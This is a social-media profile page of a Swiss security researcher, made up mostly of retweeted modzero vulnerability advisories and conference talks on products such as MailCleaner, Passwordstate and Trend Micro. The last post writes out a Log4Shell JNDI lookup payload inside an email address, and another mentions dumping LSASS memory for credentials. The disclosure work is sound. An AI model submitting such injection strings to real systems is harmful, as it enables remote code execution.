@rexploit@chaos.social see you there
Switzerland
Joined April 2009
- Tweets1.8K
- Following816
- Followers2.2K
- Likes864
Max Moser retweeted
Shells at midnight: Exploiting the flexibility of Email addresses for offensive purposes.
Today we are publishing a new blog post about our disclosure report on #MailCleaner #CVE-2024-3191: modzero.com/en/blog/beyond_t…
@[email protected] will also present at @a41con today.
Max Moser retweeted
We identified critical vulnerabilities in MailCleaner. A command injection vulnerability can be exploited by sending an Email. Our report can be found here: modzero.com/en/advisories/mz…
Kudos to chaos.social/@born0monday and chaos.social/@parzel #MailCleaner #CVE-2024-3191 #Infosec
Max Moser retweeted
How do you hack Internet-connected devices? Today, our colleagues @parzel2 and @[email protected] will present their research at the #37C3 on how to turn a Poly VoIP phone into a wiretap, giving beginners some starting points for own research projects. events.ccc.de/congress/2023/…
Max Moser retweeted
Please remind me how we are moving forward. In this video, a machine from the year ~2000 (600MHz, 128MB RAM, spinning-rust hard disk) running Windows NT 3.51. Note how incredibly snappy opening apps is. 👇
Max Moser retweeted
Better make sure your password manager is secure -- or someone else will. We found critical security issues in the enterprise password manager Passwordstate that allowed to access passwords and gain a shell -- without any authentication #CVE-2022-3875 modzero.com/modlog/archives/…
Max Moser retweeted
Reverse engineering via GDB.
xitter.cf/ClownWorld_/status/158…
Max Moser retweeted
How Wi-Fi spy drones snooped on financial firm go.theregister.com/feed/www.…
Max Moser retweeted
We found a security issue in the latest @CrowdStrike #FalconSensor. The bug itself isn't worth a tweet as the severity is pretty low. However, we’d like to shed some light on a ridiculous vulnerability disclosure process with CrowdStrike. #CVE-2022-2841 modzero.com/modlog/archives/…
Max Moser retweeted
Had a look at quite a nice (new-ish?) way to dump LSASS memory into WinDBG Time Travel Debugging (TTD) format, and pull creds out offline. 🧵
Max Moser retweeted
Oops, they did it again!
The Titan-M chip is the root of all security in Google's Pixel phones
@DamianoMelotti & @max_r_b will talk about their journey from Reversing & Fuzzing to Code Execution & leaking its encryption keys tomorrow at @WEareTROOPERS
troopers.de/troopers22/agend…
ALT TItan-M chip in a Google Pixel phone with wires soldered for pwnage
Max Moser retweeted
Meeting Owl Pro: Konferenzeule hat viele Sicherheitslücken #MeetingOwl #Sicherheitslücke glm.io/165766?s
Max Moser retweeted
hoot hoot! What started as "just looking at some videoconfercing solutions" turned in to a story of: "How broken can a smart videoconferencing device possibly be?" modzero.com/modlog/archives/… #MeetingOwl
Max Moser retweeted
I’m SO excited about today’s news! After 6+ years of effort, we have an open standard for passwordless authentication that Microsoft, Google and Apple (yes, even Apple!) have all agreed to build into their OS’s and browsers techcommunity.microsoft.com/…
Max Moser retweeted
MZ-21-02 published: Critical Vulnerabilities in Trend Micro Deep Security Agent for Linux. Credits: @fluepke - Find our advisory here: modzero.com/advisories/MZ-21… PoC code: github.com/modzero/MZ-21-02-… #MZ-21-02 #TrendMicro #CVE-2022-23119 #CVE-2022-23120
Max Moser retweeted
We can confirm that VMWare vCenter is affected by the Log4j vulnerability. #log4j #vcenter #Log4Shell
Max Moser retweeted
For educational purposes only: test+(${jndi:ldap://test/a})@gmail.com is a valid RFC822 Email Address 😅